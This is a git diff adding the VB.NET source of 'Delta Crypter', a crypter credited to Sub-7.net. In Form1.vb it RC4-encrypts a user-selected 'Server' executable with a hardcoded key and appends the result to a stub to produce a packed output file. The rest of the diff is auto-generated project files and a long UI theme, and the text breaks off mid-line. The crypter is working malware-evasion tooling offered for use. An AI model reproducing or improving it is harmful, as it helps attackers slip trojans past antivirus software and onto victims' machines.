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 + AAA= + + + \ No newline at end of file diff --git a/scode (Delta Crypter/s7cry/Form1.vb b/scode (Delta Crypter/s7cry/Form1.vb new file mode 100644 index 0000000..a4b8742 --- /dev/null +++ b/scode (Delta Crypter/s7cry/Form1.vb @@ -0,0 +1,177 @@ +Imports fLaSh.Dissembler +Imports System.Text + + +Public Class Form1 + + Private Input_file As String + Private Input_icon As String + + + Dim drag As Boolean + Dim mousex As Integer + Dim mousey As Integer + + Private Sub BitdefenderButton2_Click(sender As Object, e As EventArgs) Handles BitdefenderButton2.Click + + Using Ofd As New OpenFileDialog + With Ofd + .Title = My.Application.Info.Title + .Filter = "Server|*.exe" + .ShowDialog() + End With + If Ofd.FileName <> String.Empty Then + Input_file = Ofd.FileName + TextBox1.Text = Input_file + Label2.Text = "Status: " & Ofd.SafeFileName & " waiting to be crypted..." + End If + End Using + End Sub + + Private Sub BitdefenderButton3_Click(sender As Object, e As EventArgs) Handles BitdefenderButton3.Click + MessageBox.Show("For Sub-7.net by hplus :: Enjoy this release! Thanks go to Kan3, Diablo, Ethernal Five, and many others!", + "About Delta Cryptor", + MessageBoxButtons.OK, + MessageBoxIcon.Information, + MessageBoxDefaultButton.Button1) + End Sub + + Private Sub BitdefenderButton1_Click(sender As Object, e As EventArgs) Handles BitdefenderButton1.Click + + Timer1.Enabled = True + + End Sub + + Private Sub BitdefenderButton4_Click(sender As Object, e As EventArgs) Handles BitdefenderButton4.Click + Using Ofd1 As New OpenFileDialog + With Ofd1 + .Title = My.Application.Info.Title + .Filter = "Icon|*.ico" + .ShowDialog() + End With + If Ofd1.FileName <> String.Empty Then + Label4.Text = Ofd1.SafeFileName + Input_icon = Ofd1.FileName + End If + End Using + End Sub + + Private Sub BitdefenderForm1_MouseDown(sender As Object, e As MouseEventArgs) Handles BitdefenderForm1.MouseDown + drag = True + mousex = Windows.Forms.Cursor.Position.X - Me.Left + mousey = Windows.Forms.Cursor.Position.Y - Me.Top + End Sub + + Private Sub BitdefenderForm1_MouseMove(sender As Object, e As MouseEventArgs) Handles BitdefenderForm1.MouseMove + If drag Then + Me.Top = Windows.Forms.Cursor.Position.Y - mousey + Me.Left = Windows.Forms.Cursor.Position.X - mousex + End If + End Sub + + Private Sub BitdefenderForm1_MouseUp(sender As Object, e As MouseEventArgs) Handles BitdefenderForm1.MouseUp + drag = False + End Sub + + Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load + Me.Icon = My.Resources.dpapimig_64 + End Sub + + Public Shared Function RC4(ByVal hack As String, ByVal hound As String) As String + Dim oo As Integer = 0 + Dim hh As Integer = 0 + Dim sstring As New StringBuilder + Dim rr As String = String.Empty + Dim ss As Integer() = New Integer(256) {} + Dim key As Integer() = New Integer(256) {} + Dim ilength As Integer = hound.Length + Dim a As Integer = 0 + While a <= 255 + Dim tmp As Char = (hound.Substring((a Mod ilength), 1).ToCharArray()(0)) + key(a) = Microsoft.VisualBasic.Strings.Asc(tmp) + ss(a) = a + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + Dim x As Integer = 0 + Dim b As Integer = 0 + While b <= 255 + x = (x + ss(b) + key(b)) Mod 256 + Dim swap As Integer = ss(b) + ss(b) = ss(x) + ss(x) = swap + System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) + End While + a = 1 + Dim rrcc44 As Integer = hack.Length + While a <= rrcc44 + Dim ootmp As Integer = 0 + oo = (oo + 1) Mod 256 + hh = (hh + ss(oo)) Mod 256 + ootmp = ss(oo) + ss(oo) = ss(hh) + ss(hh) = ootmp + Dim k As Integer = ss((ss(oo) + ss(hh)) Mod 256) + Dim cctmp As Char = hack.Substring(a - 1, 1).ToCharArray()(0) + ootmp = Asc(cctmp) + Dim hackhound As Integer = ootmp Xor k + sstring.Append(Chr(hackhound)) + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + rr = sstring.ToString + sstring.Length = 0 + Return rr + End Function + + Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick + If Label4.Text = "No icon selected. Default will be used." = False Then + Try + Dim oIconFilenathu As New IconFile(Input_icon) + Dim groupIconResource As GroupIconResource = oIconFilenathu.ConvertToGroupIconResource() + groupIconResource.SaveTo("9372.exe") + + Dim split As String = "424234232dd2d32333234f" + FileOpen(1, Input_file, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) + Dim datei As String + datei = Space(LOF(1)) + FileGet(1, datei) + FileClose(1) + FileOpen(2, Application.StartupPath & "\9372.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) + Dim stub As String + stub = Space(LOF(2)) + FileGet(2, stub) + FileClose(2) + FileOpen(3, Application.StartupPath & "\Output\done.exe", OpenMode.Binary, OpenAccess.Write, OpenShare.Default) + FilePut(3, stub & split & RC4(datei, "UAUAYwyhausid32E2Isisd")) + FileClose(3) + + Label2.Text = "Status: File crypted!" + Catch + Label2.Text = "FAILED!" + End Try + Else + + Try + + Dim split As String = "424234232dd2d32333234f" + FileOpen(1, Input_file, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) + Dim datei As String + datei = Space(LOF(1)) + FileGet(1, datei) + FileClose(1) + FileOpen(2, Application.StartupPath & "\9372.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) + Dim stub As String + stub = Space(LOF(2)) + FileGet(2, stub) + FileClose(2) + FileOpen(3, Application.StartupPath & "\Output\done.exe", OpenMode.Binary, OpenAccess.Write, OpenShare.Default) + FilePut(3, stub & split & RC4(datei, "UAUAYwyhausid32E2Isisd")) + FileClose(3) + + Label2.Text = "Status: File crypted!" + Catch + Label2.Text = "FAILED!" + End Try + End If + Timer1.Enabled = False + End Sub +End Class \ No newline at end of file diff --git a/scode (Delta Crypter/s7cry/My Project/Application.Designer.vb b/scode (Delta Crypter/s7cry/My Project/Application.Designer.vb new file mode 100644 index 0000000..1fdaaf3 --- /dev/null +++ b/scode (Delta Crypter/s7cry/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.s7cry.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Delta Crypter/s7cry/My Project/Application.myapp b/scode (Delta Crypter/s7cry/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Delta Crypter/s7cry/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Delta Crypter/s7cry/My Project/AssemblyInfo.vb b/scode (Delta Crypter/s7cry/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..7ef7428 --- /dev/null +++ b/scode (Delta Crypter/s7cry/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Delta Crypter/s7cry/My Project/Resources.Designer.vb b/scode (Delta Crypter/s7cry/My Project/Resources.Designer.vb new file mode 100644 index 0000000..2be2344 --- /dev/null +++ b/scode (Delta Crypter/s7cry/My Project/Resources.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("s7cry.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized resource of type System.Drawing.Icon similar to (Icon). + ''' + Friend ReadOnly Property dpapimig_64() As System.Drawing.Icon + Get + Dim obj As Object = ResourceManager.GetObject("dpapimig_64", resourceCulture) + Return CType(obj,System.Drawing.Icon) + End Get + End Property + End Module +End Namespace diff --git a/scode (Delta Crypter/s7cry/My Project/Resources.resx b/scode (Delta Crypter/s7cry/My Project/Resources.resx new file mode 100644 index 0000000..8d7ab2b --- /dev/null +++ b/scode (Delta Crypter/s7cry/My Project/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\dpapimig_64.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/scode (Delta Crypter/s7cry/My Project/Settings.Designer.vb b/scode (Delta Crypter/s7cry/My Project/Settings.Designer.vb new file mode 100644 index 0000000..5d30f82 --- /dev/null +++ b/scode (Delta Crypter/s7cry/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.s7cry.My.MySettings + Get + Return Global.s7cry.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Delta Crypter/s7cry/My Project/Settings.settings b/scode (Delta Crypter/s7cry/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Delta Crypter/s7cry/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Delta Crypter/s7cry/My Project/app.manifest b/scode (Delta Crypter/s7cry/My Project/app.manifest new file mode 100644 index 0000000..684187d --- /dev/null +++ b/scode (Delta Crypter/s7cry/My Project/app.manifest @@ -0,0 +1,58 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (Delta Crypter/s7cry/Resources/dpapimig_64.ico b/scode (Delta Crypter/s7cry/Resources/dpapimig_64.ico new file mode 100644 index 0000000..5617938 Binary files /dev/null and b/scode (Delta Crypter/s7cry/Resources/dpapimig_64.ico differ diff --git a/scode (Delta Crypter/s7cry/Theme.vb b/scode (Delta Crypter/s7cry/Theme.vb new file mode 100644 index 0000000..88729e0 --- /dev/null +++ b/scode (Delta Crypter/s7cry/Theme.vb @@ -0,0 +1,1204 @@ +Imports System.Drawing.Drawing2D +Imports System.Threading +Imports System.ComponentModel +Imports System.Drawing.Text +Imports System.Security + + +Class BitdefenderForm : Inherits ContainerControl + +#Region "Init" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.DoubleBuffer Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.ResizeRedraw Or ControlStyles.SupportsTransparentBackColor Or ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Dock = DockStyle.Fill + BackColor = Color.Fuchsia + End Sub + Protected Overrides Sub OnHandleCreated(ByVal e As EventArgs) + MyBase.OnHandleCreated(e) + If FindForm() IsNot Nothing Then + FindForm.FormBorderStyle = FormBorderStyle.None : FindForm.TransparencyKey = BackColor + End If + + End Sub + +#Region "Property" + + Public Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(value As String) + MyBase.Text = value + Invalidate(New Rectangle(0, 0, Width, 70), False) + End Set + End Property + + + + Private _DisableMax As Boolean + Public Property DisableControlboxMax As Boolean + Get + Return _DisableMax + End Get + Set(value As Boolean) + _DisableMax = value + Invalidate(False) + End Set + End Property + + Private _DisableMin As Boolean + Public Property DisableControlboxMin As Boolean + Get + Return _DisableMin + End Get + Set(value As Boolean) + _DisableMin = value + Invalidate(False) + End Set + End Property + + Private _DisableClose As Boolean + Public Property DisableControlboxClose As Boolean + Get + Return _DisableClose + End Get + Set(value As Boolean) + _DisableClose = value + Invalidate(False) + End Set + End Property +#End Region + + +#Region "Flag mouse" + Dim mouseOffset As Point + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + MyBase.OnMouseDown(e) + mouseOffset = New Point(-e.X, -e.Y) + End Sub + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + MyBase.OnMouseMove(e) + + '#Zone " Move form " + For x As Integer = 0 To Width - 1 + For y As Integer = 0 To 30 + If e.Button = MouseButtons.Left AndAlso e.Location.Equals(New Point(x, y)) Then + Dim mousePos = Control.MousePosition + mousePos.Offset(mouseOffset.X, mouseOffset.Y) + FindForm.Location = mousePos + End If + Next + Next + '#End Zone + + '#Zone " None mouse flag " + MouseState = State.None + Cursor = Cursors.Default + '#End Zone + + '#Zone " minRect " + Dim minRect As Rectangle = New Rectangle(Right - Padding - (controlSize.Width + 20), Padding, btnSize.Width, btnSize.Height) + If minRect.Contains(e.Location) Then + Cursor = Cursors.Hand + MouseState = State.HoverMin + End If + '#End Zone + + '#Zone " maxRect " + Dim maxRect As New Rectangle(minRect.X + 29, minRect.Y, btnSize.Width, btnSize.Height) + If maxRect.Contains(e.Location) Then + Cursor = Cursors.Hand + MouseState = State.HoverMax + End If + '#End Zone + + '#Zone " closeRect " + Dim closeRect As New Rectangle(maxRect.X + 29, minRect.Y, btnSize.Width, btnSize.Height) + If closeRect.Contains(e.Location) Then + Cursor = Cursors.Hand + MouseState = State.HoverClose + End If + '#End Zone + + + + + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + MyBase.OnMouseUp(e) + Dim min As Rectangle = New Rectangle(Right - Padding - (controlSize.Width + 20), Padding, btnSize.Width, btnSize.Height) + Dim max As New Rectangle(min.X + 29, min.Y, btnSize.Width, btnSize.Height) + Dim close As New Rectangle(max.X + 29, max.Y, btnSize.Width, btnSize.Height) + + If min.Contains(e.Location) AndAlso e.Button = MouseButtons.Left AndAlso Not DisableControlboxMin Then + FindForm.WindowState = FormWindowState.Minimized + End If + + If max.Contains(e.Location) AndAlso e.Button = MouseButtons.Left AndAlso Not DisableControlboxMax Then + Select Case FindForm.WindowState + Case FormWindowState.Maximized + FindForm.WindowState = FormWindowState.Normal + Case FormWindowState.Normal + FindForm.WindowState = FormWindowState.Maximized + End Select + + End If + + If close.Contains(e.Location) AndAlso e.Button = MouseButtons.Left AndAlso Not DisableControlboxClose Then + FindForm.Close() + End If + + End Sub + +#Region "Draw mouse state" + Private Enum State + None + HoverClose + HoverMax + HoverMin + End Enum + Private _MouseState As State + Private Property MouseState As State + Get + Return _MouseState + End Get + Set(value As State) + _MouseState = value + Invalidate(False) + End Set + End Property +#End Region + +#End Region 'Flag mouse + + +#End Region 'Init + +#Region "Draw" + +#Region "Init Draw Object" + +#Region "Draw Object Declarations" + Private G As Graphics + Private Shadows Const Padding As Integer = 10 + '#Zone " Controlbox " + Private btnSize As Size = New Size(27, 30) + Private controlSize As Size = New Size(86, btnSize.Height) + Private controlboxPath As GraphicsPath + '#End Zone + + Private R1, R2, R4, R5, R6 As Rectangle + Private GP1, GP2, GP3, GP4 As GraphicsPath + Private P1, P2, P3, P4, P5, P6 As Pen + Private B1 As SolidBrush + Private LGB1, LGB2, LGB3, LGB4, LGB5, LGB6 As LinearGradientBrush + Private C1, C2, C3, C4, C5, C6, C7, C8, C9, C10 As Color + + Private containerDisposable As New ContainerObjectDisposable + +#End Region 'Draw Object Declarations + + Private Sub Init(e As PaintEventArgs) + + G = e.Graphics + + '#Zone " Rectangle " + R1 = New Rectangle(Padding, Padding, Width - Padding * 2, Height - Padding * 2) + R2 = New Rectangle(R1.X + 1, R1.Y + 1, R1.Width - 2, R1.Height - 2) + R4 = New Rectangle(Padding, Padding, Width, 20) + R5 = New Rectangle(Right - Padding - (controlSize.Width + 20), Padding, controlSize.Width, controlSize.Height) + R6 = New Rectangle(R5.X + 1, R5.Y + 1, R5.Width - 2, R5.Height - 2) + '#End Zone + + '#Zone " Graphic path " + GP1 = RoundRect(R1, 18) + GP2 = RoundRect(R2, 18) + GP3 = ControlRect(R5, 9) + GP4 = ControlRect(R6, 9) + controlboxPath = New GraphicsPath + containerDisposable.AddObjectRange({GP1, GP2, GP3, GP4, controlboxPath}) + '#End Zone + + '#Zone " Brush " + B1 = New SolidBrush(Color.FromArgb(32, 32, 32)) + containerDisposable.AddObject(B1) + '#End Zone + + '#Zone " Color " + C1 = Color.FromArgb(81, 81, 81) + C2 = Color.FromArgb(43, 43, 43) + C3 = Color.FromArgb(21, 21, 21) + C4 = Color.FromArgb(10, 10, 10) + C5 = Color.FromArgb(167, 167, 167) + C6 = Color.FromArgb(83, 83, 83) + C7 = Color.FromArgb(41, 41, 41) + C8 = Color.FromArgb(33, 33, 33) + C9 = Color.FromArgb(41, 41, 41) + C10 = Color.FromArgb(77, 77, 77) + '#End Zone + + '#Zone " Linear Gradient Brush " + LGB1 = New LinearGradientBrush(R4, C1, C2, LinearGradientMode.Vertical) + LGB2 = New LinearGradientBrush(R5, C6, C7, LinearGradientMode.Vertical) + LGB3 = New LinearGradientBrush(R5, C8, C7, LinearGradientMode.Vertical) + LGB4 = New LinearGradientBrush(New Point(R5.Left + 27, R5.Top + 2), New Point(R5.Left + 27, R5.Bottom - 2), C3, C4) + LGB5 = New LinearGradientBrush(New Point(R5.Left + 28, R5.Top + 2), New Point(R5.Left + 28, R5.Bottom - 1), C5, C6) + LGB6 = New LinearGradientBrush(R5, C9, C10, LinearGradientMode.Vertical) + containerDisposable.AddObjectRange({LGB1, LGB2, LGB3, LGB4, LGB5, LGB6}) + + '#End Zone + + '#Zone " Pen " + P1 = New Pen(Color.FromArgb(33, 33, 33)) + P2 = New Pen(Color.FromArgb(240, 240, 240)) + P3 = New Pen(LGB3) + P4 = New Pen(New SolidBrush(Color.FromArgb(83, 83, 83))) + P5 = New Pen(LGB4) + P6 = New Pen(LGB5) + containerDisposable.AddObjectRange({P1, P2, P3, P4, P5, P6}) + '#End Zone + + + End Sub + +#End Region 'Init Draw Object + + + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + MyBase.OnPaint(e) + + ''#Zone " DebugMode " +#If DEBUG Then + 'Dim ST As New Stopwatch : ST.Start() +#End If + + '#End Zone + + Init(e) + + '#Zone " Draw background" + G.FillPath(B1, GP1) + '#End Zone + + '#Zone " Draw header " + G.SetClip(GP2) + G.FillRectangle(LGB1, R4) + G.ResetClip() + '#End Zone + + '#Zone " Draw title " + G.DrawString(Text, New Font("Microsoft Sans Serif", 10, FontStyle.Regular), Brushes.White, 27, 22) + '#End Zone + + '#Zone " Draw border " + G.DrawPath(P1, GP1) + G.DrawPath(P2, GP2) + '#End Zone + + '#Zone " Mouse state " + Select Case MouseState + Case State.HoverClose + DrawControlBox_Close(G) + Case State.HoverMax + DrawControlBox_Max(G) + Case State.HoverMin + DrawControlBox_Min(G) + Case State.None + DrawControlBox(G) + End Select + '#End Zone + + '#Zone " Dispose all draw object " + containerDisposable.Dispose() + '#End Zone + + '#Zone " DebugMode " +#If DEBUG Then + 'Debug.WriteLine(ST.Elapsed.ToString) +#End If + + '#End Zone + + End Sub + + Private Sub DrawControlBox(ByVal G As Graphics) + + G.SmoothingMode = SmoothingMode.HighQuality + + G.FillPath(LGB2, GP3) + G.DrawPath(P3, GP3) + G.DrawPath(P4, GP4) + '#Zone " If you want white line " + G.DrawLine(P2, R5.Left, R5.Top + 1, R5.Right, R5.Top + 1) + '#End Zone + '#Zone " Fix !important " + G.DrawLine(P3, R5.Right, R5.Top, R5.Right, R5.Bottom - 4) + G.DrawLine(P4, R6.Right, R6.Top + 1, R6.Right, R6.Bottom - 4) + + G.SmoothingMode = SmoothingMode.Default + + G.FillRectangle(P3.Brush, New Rectangle(R5.X, R5.Y + 1, 1, 1)) + G.FillRectangle(P3.Brush, New Rectangle(R5.Right, R5.Top + 1, 1, 1)) + '#End Zone + '#Zone " First line " + G.DrawLine(P5, R5.Left + 29, R5.Top + 2, R5.Left + 29, R5.Bottom - 2) + G.DrawLine(P6, R5.Left + 30, R5.Top + 2, R5.Left + 30, R5.Bottom - 2) + '#End Zone + '#Zone " Second line " + G.DrawLine(P5, R5.Left + 56, R5.Top + 2, R5.Left + 56, R5.Bottom - 2) + G.DrawLine(P6, R5.Left + 57, R5.Top + 2, R5.Left + 57, R5.Bottom - 2) + '#End Zone + + + + '#Zone " close string " + controlboxPath.AddString("r", New FontFamily("Webdings"), FontStyle.Regular, 15, New Point(Right - Padding - (btnSize.Width + 20) + 2, Padding + 8), Nothing) + G.FillPath(Brushes.White, controlboxPath) + G.DrawPath(Pens.Black, controlboxPath) + '#End Zone + + '#Zone " max string " + Select Case FindForm.WindowState + Case FormWindowState.Maximized + controlboxPath.AddString("2", New FontFamily("Webdings"), FontStyle.Regular, 15, New Point(Right - Padding - (btnSize.Width * 2 + 20) + 4, Padding + 8), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + + Case FormWindowState.Normal + controlboxPath.AddString("1", New FontFamily("Webdings"), FontStyle.Bold, 15, New Point(Right - Padding - (btnSize.Width * 